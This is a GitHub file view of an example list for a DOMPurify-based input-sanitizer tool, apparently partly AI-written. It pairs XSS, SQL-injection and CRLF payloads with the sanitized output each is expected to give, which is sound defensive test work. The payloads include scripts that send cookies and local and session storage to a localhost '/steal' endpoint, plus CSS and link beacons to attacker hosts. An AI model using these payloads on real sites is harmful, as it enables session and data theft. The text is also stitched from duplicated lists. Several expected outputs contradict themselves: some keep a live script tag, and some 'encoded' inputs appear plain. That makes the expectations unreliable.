-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexample.txt
More file actions
977 lines (657 loc) · 26.4 KB
/
example.txt
File metadata and controls
977 lines (657 loc) · 26.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
## Example: Real-world XSS payload (mixed attack)
**Input (untrusted HTML):**
```html
<div onmouseover="alert('Danger!')">
<script>alert('Attack!');</script>
Safe content
</div>
# Examples of Input for the Input Sanitizer Web Tool
This document lists 40 representative inputs (HTML, CSS, scripts, and text) plus their expected sanitized output under the DOMPurify configuration used in this project. Every example also includes a short reminder about why it matters or what to watch out for. The examples are ordered from common XSS abuse cases to edge conditions that reveal parser quirks.
## Example 1: Classic script injection
Input:
<script>alert('This is an attack!');</script>
Expected Sanitized Output:
(empty)
..:: Suggestions:
- Avoid embedding `<script>` tags in user input; DOMPurify removes them entirely.
----------------------------------------------------------------------------------------
## Example 2: Inline event handler
Input:
<div onclick="alert('Hacked!')">Click me</div>
Expected Sanitized Output:
<div>Click me</div>
..:: Suggestions:
- Inline handlers such as `onclick` are stripped; use safer APIs like `addEventListener` on the owning page.
----------------------------------------------------------------------------------------
## Example 3: JavaScript URI on a link
Input:
<a href="javascript:alert('Phishing!')">Click here</a>
Expected Sanitized Output:
<a>Click here</a>
..:: Suggestions:
- `javascript:` URLs execute code when clicked; prefer `https:` links or data that needs server validation first.
----------------------------------------------------------------------------------------
## Example 4: Safe paragraph
Input:
<p>This is a safe paragraph.</p>
Expected Sanitized Output:
<p>This is a safe paragraph.</p>
..:: Suggestions:
- Legitimate content should remain intact so long as it does not include forbidden tags/attributes.
----------------------------------------------------------------------------------------
## Example 5: Mixed script and inline handler
Input:
<div onmouseover="alert('Danger!')"><script>alert('Attack!');</script>Safe content</div>
Expected Sanitized Output:
<div>Safe content</div>
..:: Suggestions:
- Removing both `<script>` and inline handler keeps the user-provided message while stripping behavior.
----------------------------------------------------------------------------------------
## Example 6: Image with malicious attribute
Input:
<img src="x" onerror="alert('XSS Attack!')">
Expected Sanitized Output:
<img>
..:: Suggestions:
- DOMPurify removes `onerror` and drops `src` when the URL does not match the allowed pattern.
----------------------------------------------------------------------------------------
## Example 7: Direct DOM manipulation snippet
Input:
document.body.innerHTML = '<h1>Hacked</h1>';
Expected Sanitized Output:
document.body.innerHTML = '<h1>Hacked</h1>';
..:: Suggestions:
- This is plain text delivered in JavaScript; in HTML mode DOMPurify treats it as text (no sanitization), so escape it before inserting into the DOM.
----------------------------------------------------------------------------------------
## Example 8: External link with `_blank`
Input:
<a href="https://example.com" target="_blank">external</a>
Expected Sanitized Output:
<a href="https://example.com" target="_blank" rel="noopener noreferrer">external</a>
..:: Suggestions:
- The DOMPurify hook adds `rel="noopener noreferrer"` to protect against tabnabbing.
----------------------------------------------------------------------------------------
## Example 9: Cookie-stealing script
Input:
const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie;
Expected Sanitized Output:
const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie;
..:: Suggestions:
- Plain-text JavaScript is not sanitized; flag any user input that contains suspicious cookie access and handle it server-side.
----------------------------------------------------------------------------------------
## Example 10: LocalStorage exfiltration snippet
Input:
const data = { localStorage: JSON.stringify(localStorage), sessionStorage: JSON.stringify(sessionStorage) };
Expected Sanitized Output:
(unchanged)
..:: Suggestions:
- Client-side sanitization can't stop data exfiltration once the script executes; validate and escape server-side before storing.
----------------------------------------------------------------------------------------
## Example 11: SQL injection payload as text
Input:
username=admin' OR '1'='1'; --
Expected Sanitized Output:
username=admin' OR '1'='1'; --
..:: Suggestions:
- Use parameterized queries on the backend; client-side sanitization is insufficient for SQL contexts.
----------------------------------------------------------------------------------------
## Example 12: Input field value containing script
Input:
<input type="text" value="<script>alert('XSS')</script>">
Expected Sanitized Output:
<input type="text" value="<script>alert('XSS')</script>">
..:: Suggestions:
- DOMPurify escapes the offending script so that `value` remains readable without executing HTML.
----------------------------------------------------------------------------------------
## Example 13: Complete `<style>` injection
Input:
<style>body { background: url('http://malicious-site.com/steal.png'); }</style>
Expected Sanitized Output:
(disallowed unless "Allow CSS" checked)
..:: Suggestions:
- Keep CSS disabled (default). If you do trust styles, review every rule for remote resources.
----------------------------------------------------------------------------------------
## Example 14: Dangerous inline CSS URL
Input:
<div style="background-image: url('javascript:alert(1)')">Test</div>
Expected Sanitized Output:
<div>Test</div>
..:: Suggestions:
- Even when CSS is allowed, DOMPurify strips `javascript:`/`expression()` values from inline styles.
----------------------------------------------------------------------------------------
## Example 15: Hidden malicious content
Input:
<div style="display:none">Hidden attack</div>
Expected Sanitized Output:
<div style="display:none">Hidden attack</div>
..:: Suggestions:
- DOMPurify retains benign styling like display none but warns you via suggestions about hiding content.
----------------------------------------------------------------------------------------
## Example 16: `data:image/png` allowed
Input:
<img src="data:image/png;base64,iVBORw0KG..." alt="inline">
Expected Sanitized Output:
<img src="data:image/png;base64,iVBORw0KG..." alt="inline">
..:: Suggestions:
- Only base64 image data is allowed by default; other `data:` types are stripped.
----------------------------------------------------------------------------------------
## Example 17: `data:text/html` disallowed
Input:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">x</a>
Expected Sanitized Output:
<a>x</a>
..:: Suggestions:
- `data:` URIs that contain HTML or scripts are rejected to avoid blob-based XSS.
----------------------------------------------------------------------------------------
## Example 18: `<iframe>` embed
Input:
<iframe src="https://example.com"></iframe>
Expected Sanitized Output:
(removed)
..:: Suggestions:
- Sandbox your previews; DOMPurify forbids iframes entirely.
----------------------------------------------------------------------------------------
## Example 19: SVG with `onload`
Input:
<svg><circle cx="0" cy="0" r="1" onload="alert(1)"/></svg>
Expected Sanitized Output:
<svg><circle cx="0" cy="0" r="1"></circle></svg>
..:: Suggestions:
- SVG elements lose event handlers to prevent script execution.
----------------------------------------------------------------------------------------
## Example 20: Entity-encoded `<script>`
Input:
<script>alert(1)</script><div>ok</div>
Expected Sanitized Output:
<script>alert(1)</script><div>ok</div>
..:: Suggestions:
- DOMPurify preserves escaped scripts but does not unescape them, so the markup stays inert.
----------------------------------------------------------------------------------------
## Example 21: Malformed HTML
Input:
<div><script>alert(1)</div></script><p>ok
Expected Sanitized Output:
<p>ok</p>
..:: Suggestions:
- DOMPurify normalizes broken markup; expect tidy output even when attackers send malformed HTML.
----------------------------------------------------------------------------------------
## Example 22: Attribute case and spacing
Input:
<IMG SRC="javascript:alert(1)" onError=alert(1)>
Expected Sanitized Output:
<img>
..:: Suggestions:
- Sanitization is case-insensitive; uppercase tags or attributes still get removed.
----------------------------------------------------------------------------------------
## Example 23: `srcset` with mixed values
Input:
<img srcset="javascript:alert(1) 1x, https://example.com/1x.jpg 2x" src="https://example.com/fallback.jpg">
Expected Sanitized Output:
<img src="https://example.com/fallback.jpg">
..:: Suggestions:
- DOMPurify strips invalid URIs from `srcset` but keeps safe fallback sources.
----------------------------------------------------------------------------------------
## Example 24: `mailto:` allowed
Input:
<a href="mailto:support@example.com">email</a>
Expected Sanitized Output:
<a href="mailto:support@example.com">email</a>
..:: Suggestions:
- The policy explicitly allows legitimate URI schemes like `mailto:` and `tel:`.
----------------------------------------------------------------------------------------
## Example 25: Obfuscated `javascript:`
Input:
<a href="javascript:alert(1)">link</a>
Expected Sanitized Output:
<a>link</a>
..:: Suggestions:
- DOMPurify decodes entity-encoded URIs before enforcing the allowlist.
----------------------------------------------------------------------------------------
## Example 26: JavaScript snippet in text mode
Input:
document.body.innerHTML = '<h1>Pwned</h1>';
Expected Sanitized Output (text mode):
document.body.innerHTML = '<h1>Pwned</h1>';
..:: Suggestions:
- Plain-text mode always escapes; use it when rendering code samples.
----------------------------------------------------------------------------------------
## Example 27: Template injection-looking string
Input:
Hello {{user.name}} — welcome!
Expected Sanitized Output:
Hello {{user.name}} — welcome!
..:: Suggestions:
- Sanitizer leaves template tokens untouched; treat them on the server.
----------------------------------------------------------------------------------------
## Example 28: CRLF header injection attempt
Input:
<a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>
Expected Sanitized Output:
<a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>
..:: Suggestions:
- DOMPurify keeps encoded control characters; validate/verifies on the server before using.
----------------------------------------------------------------------------------------
## Example 29: Large repeated payload (DoS resilience)
Input:
<a>AAAAAAAA... (1 MB payload)</a>
Expected Sanitized Output:
Sanitization completes; consider server-side size limits to avoid DoS.
..:: Suggestions:
- Add server-side max-input-size checks to avoid expensive sanitization on huge inputs.
----------------------------------------------------------------------------------------
## Example 30: Safe linked article
Input:
<p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>
Expected Sanitized Output:
<p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>
..:: Suggestions:
- Safe content stays intact; the sanitizer is conservative about removing helpful markup.
----------------------------------------------------------------------------------------
## Example 31: `<style>` allowed vs. disallowed
Input:
<style>body { color: red; }</style>
Expected Sanitized Output:
(When CSS disallowed) (removed)
(When CSS allowed) <style>body { color: red; }</style>
..:: Suggestions:
- Document this difference for demo users so they know when CSS is permitted.
----------------------------------------------------------------------------------------
## Example 32: `<base>` tag removal
Input:
<base href="https://attacker.example/">
Expected Sanitized Output:
(removed)
..:: Suggestions:
- DOMPurify forbids `<base>` to stop attackers from changing the page’s base URL.
----------------------------------------------------------------------------------------
## Example 33: `<meta>` tag removal
Input:
<meta http-equiv="refresh" content="0;url=https://evil">
Expected Sanitized Output:
(removed)
..:: Suggestions:
- Meta refresh tags are banned to prevent automatic redirects.
----------------------------------------------------------------------------------------
## Example 34: `<link>` preload removal
Input:
<link rel="preload" href="https://evil.com/script.js">
Expected Sanitized Output:
(removed)
..:: Suggestions:
- DOMPurify drops `<link>` tags that could preload attackers’ scripts.
----------------------------------------------------------------------------------------
## Example 35: `<object>` removal
Input:
<object data="https://example.com/exploit"></object>
Expected Sanitized Output:
(removed)
..:: Suggestions:
- Embedded objects are forbidden because they can load arbitrary plugins.
----------------------------------------------------------------------------------------
## Example 36: `<embed>` removal
Input:
<embed src="https://example.com/malware.swf">
Expected Sanitized Output:
(removed)
..:: Suggestions:
- Embedded Flash+ content is removed entirely.
----------------------------------------------------------------------------------------
## Example 37: `<video>` with `javascript:`
Input:
<video controls src="javascript:alert(1)"></video>
Expected Sanitized Output:
(removed)
..:: Suggestions:
- Media sources must obey the URI allowlist; otherwise DOMPurify drops the element.
----------------------------------------------------------------------------------------
## Example 38: Protocol-relative URI
Input:
<img src="//example.com/track.png">
Expected Sanitized Output:
(removed)
..:: Suggestions:
- Protocol-relative URLs are rejected because they inherit whatever scheme the page uses; stick with `https:`.
----------------------------------------------------------------------------------------
## Example 39: `<svg><script>` removal
Input:
<svg><script>alert(1)</script><circle r="5"/></svg>
Expected Sanitized Output:
<svg><circle r="5"></circle></svg>
..:: Suggestions:
- DOMPurify removes `<script>` tags even inside SVG content.
----------------------------------------------------------------------------------------
## Example 40: Trusted `data:image/svg+xml` when allowed
Input:
<img src="data:image/svg+xml,%3Csvg%3E...%3C/svg%3E">
Expected Sanitized Output:
<img src="data:image/svg+xml,%3Csvg%3E...%3C/svg%3E">
..:: Suggestions:
- SVG data URIs are permitted when they only contain safe markup; still avoid user-submitted SVG unless signed.# Examples of Input for the Input Sanitizer Web Tool
## Example 1: Script Injection
Input:
<script>alert('This is an attack!');</script>
Expected Sanitized Output:
(empty)
..:: Suggestions:
- Avoid using <script> tags in your input.
----------------------------------------------------------------------------------------
## Example 2: Inline Event Handler
Input:
<div onclick="alert('Hacked!')">Click me</div>
Expected Sanitized Output:
<div>Click me</div>
..:: Suggestions:
- Avoid using inline event handlers like onclick, onerror, etc.
----------------------------------------------------------------------------------------
## Example 3: JavaScript URL
Input:
<a href="javascript:alert('Phishing!')">Click here</a>
Expected Sanitized Output:
<a>Click here</a>
..:: Suggestions:
- Avoid using javascript: URLs in your input.
----------------------------------------------------------------------------------------
## Example 4: Safe Input
Input:
<p>This is a safe paragraph.</p>
Expected Sanitized Output:
<p>This is a safe paragraph.</p>
..:: Suggestions:
- No issues detected.
----------------------------------------------------------------------------------------
## Example 5: Mixed Content
Input:
<div onmouseover="alert('Danger!')"><script>alert('Attack!');</script>Safe content</div>
Expected Sanitized Output:
<div>Safe content</div>
..:: Suggestions:
- Avoid using <script> tags in your input.
- Avoid using inline event handlers like onclick, onerror, etc.
----------------------------------------------------------------------------------------
## Example 6: Image with Malicious Attributes
Input:
<img src="x" onerror="alert('XSS Attack!')">
Expected Sanitized Output:
<img>
..:: Suggestions:
- Avoid using inline event handlers like onclick, onerror, etc.
----------------------------------------------------------------------------------------
## Example 7: DOM Manipulation via JavaScript
Input:
document.body.innerHTML = '<h1>Hacked by Attacker</h1>';
Expected Sanitized Output:
document.body.innerHTML = '<h1>Hacked by Attacker</h1>';
..:: Suggestions:
- This input is not sanitized. Avoid directly manipulating the DOM with untrusted input.
----------------------------------------------------------------------------------------
## Example 8: Redirecting Page
Input:
<a href="https://www.youtube.com/" target="_blank">Click here</a>
Expected Sanitized Output:
<a href="https://www.youtube.com/" target="_blank">Click here</a>
..:: Suggestions:
- No issues detected.
----------------------------------------------------------------------------------------
## Example 9: Stealing Cookies
Input:
const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie; document.body.appendChild(img);
Expected Sanitized Output:
const img = document.createElement('img'); img.src = 'http://localhost:3000/steal?session=' + document.cookie; document.body.appendChild(img);
..:: Suggestions:
- This input is not sanitized. Avoid executing untrusted JavaScript that accesses sensitive data.
----------------------------------------------------------------------------------------
## Example 10: Stealing LocalStorage and SessionStorage
Input:
const data = {
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage)
};
fetch('http://localhost:3000/steal', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
Expected Sanitized Output:
const data = {
localStorage: JSON.stringify(localStorage),
sessionStorage: JSON.stringify(sessionStorage)
};
fetch('http://localhost:3000/steal', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(data)
});
..:: Suggestions:
- This input is not sanitized. Avoid executing untrusted JavaScript that accesses sensitive data.
----------------------------------------------------------------------------------------
## Example 11: SQL Injection in Input Fields
Input:
username=admin' OR '1'='1'; --
Expected Sanitized Output:
username=admin' OR '1'='1'; --
..:: Suggestions:
- This input is not sanitized. Use parameterized queries to prevent SQL injection.
----------------------------------------------------------------------------------------
## Example 12: Cross-Site Scripting in Form Fields
Input:
<input type="text" value="<script>alert('XSS')</script>">
Expected Sanitized Output:
<input type="text" value="<script>alert('XSS')</script>">
..:: Suggestions:
- Avoid using <script> tags in your input.
----------------------------------------------------------------------------------------
## Example 13: Malicious CSS Injection
Input:
<style>body { background: url('http://malicious-site.com/steal.png'); }</style>
Expected Sanitized Output:
(When CSS is disallowed) (empty)
(When CSS is allowed) <style>body { background: url('http://malicious-site.com/steal.png'); }</style>
..:: Suggestions:
- This input is not sanitized. Avoid embedding untrusted CSS.
----------------------------------------------------------------------------------------
## Example 14: Dangerous Inline Styles
Input:
<div style="background-image: url('javascript:alert(1)')">Test</div>
Expected Sanitized Output:
(When CSS is disallowed) <div>Test</div>
(When CSS is allowed) <div>Test</div>
..:: Suggestions:
- Avoid using javascript: URLs in your input.
- DOMPurify strips javascript: URLs from inline styles.
----------------------------------------------------------------------------------------
## Example 15: Hidden Malicious Content
Input:
<div style="display:none">Hidden attack</div>
Expected Sanitized Output:
(When CSS is disallowed) <div>Hidden attack</div>
(When CSS is allowed) <div style="display:none">Hidden attack</div>
..:: Suggestions:
- Avoid using styles that hide malicious content.
----------------------------------------------------------------------------------------
## Recommended Automated Test Cases (1-20)
Below are 20 practical test cases you can paste into the harness or convert into JSON for `test-cases.json`. They reflect the current DOMPurify config used by this project and note when a result depends on `allowStyles` or URL policy.
1) Classic script tag
Input:
```
<script>alert('XSS')</script><p>hello</p>
```
Expected:
```
<p>hello</p>
```
2) Inline event handler on element
Input:
```
<div onclick="console.log('pwn')">Click</div>
```
Expected:
```
<div>Click</div>
```
3) `javascript:` URI in an `<a>`
Input:
```
<a href="javascript:alert('XSS')">link</a>
```
Expected:
```
<a>link</a>
```
4) `data:` URI image (allowed for image types)
Input:
```
<img src="data:image/png;base64,iVBORw0KG..." alt="inline">
```
Expected:
```
<img src="data:image/png;base64,iVBORw0KG..." alt="inline">
```
5) Non-http `src` (relative) with onerror
Input:
```
<img src="x" onerror="alert('XSS')">
```
Expected (config-dependent):
```
<img>
```
Note: depending on `ALLOWED_URI_REGEXP` this may preserve `src="x"` or drop the attribute/element.
6) `<iframe>` embed
Input:
```
<iframe src="https://example.com"></iframe>
```
Expected:
```
(removed)
```
7) `<style>` tag + CSS URL
Input:
```
<style>body{background:url('https://attacker.example/track.png')}</style>
```
Expected:
```
(when CSS disallowed) (removed)
(when CSS allowed) <style>body{background:url('https://attacker.example/track.png')}</style>
```
8) Inline style with `javascript:` URL
Input:
```
<div style="background-image: url('javascript:alert(1)')">hi</div>
```
Expected:
```
<div>hi</div>
```
9) SVG with `onload`
Input:
```
<svg><circle cx="0" cy="0" r="1" onload="alert(1)"/></svg>
```
Expected (config-dependent):
```
<svg><circle cx="0" cy="0" r="1"></circle></svg>
```
10) Escaped `<script>` entities (should remain escaped)
Input:
```
<script>alert(1)</script><div>ok</div>
```
Expected:
```
<script>alert(1)</script><div>ok</div>
```
11) Malformed HTML / broken tags
Input:
```
<div><script>alert(1)</div></script><p>ok
```
Expected:
```
<p>ok</p>
```
12) Attribute case / spacing variants
Input:
```
<IMG SRC="javascript:alert(1)" onError=alert(1)>
```
Expected:
```
<img>
```
13) `srcset` edge case
Input:
```
<img srcset="javascript:alert(1) 1x, https://example.com/1x.jpg 2x" src="https://example.com/fallback.jpg">
```
Expected:
```
<img src="https://example.com/fallback.jpg">
```
14) `mailto:` / `tel:` links (allowed)
Input:
```
<a href="mailto:support@example.com">email</a>
```
Expected:
```
<a href="mailto:support@example.com">email</a>
```
15) Obfuscated `javascript:` via entities
Input:
```
<a href="javascript:alert(1)">link</a>
```
Expected:
```
<a>link</a>
```
16) JavaScript code pasted into a comment box (plain text mode)
Input (text mode expected):
```
document.body.innerHTML = '<h1>Pwned</h1>';
```
Expected (text mode):
```
document.body.innerHTML = '<h1>Pwned</h1>';
```
17) Template injection-looking content
Input:
```
Hello {{user.name}} — welcome!
```
Expected:
```
Hello {{user.name}} — welcome!
```
18) CRLF / header-injection style string in href
Input:
```
<a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>
```
Expected (may be normalized):
```
<a href="https://example.com?x=1%0d%0aSet-Cookie:%20evil=1">x</a>
```
19) Very large / repeated input (DoS resilience)
Input:
```
<a>AAAAAAAA... (1 MB payload)</a>
```
Expected:
```
Sanitization completes or is rejected; consider adding server-side size limits.
```
20) Safe allowed content (control case)
Input:
```
<p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>
```
Expected:
```
<p><strong>Nice</strong> article — <a href="https://example.com" rel="nofollow">source</a></p>
```
Notes:
- For configuration-dependent cases include `allowStyles: true/false` expectations or a `note` describing the policy.
- If you want these as JSON entries for `test-cases.json`, I can generate that next.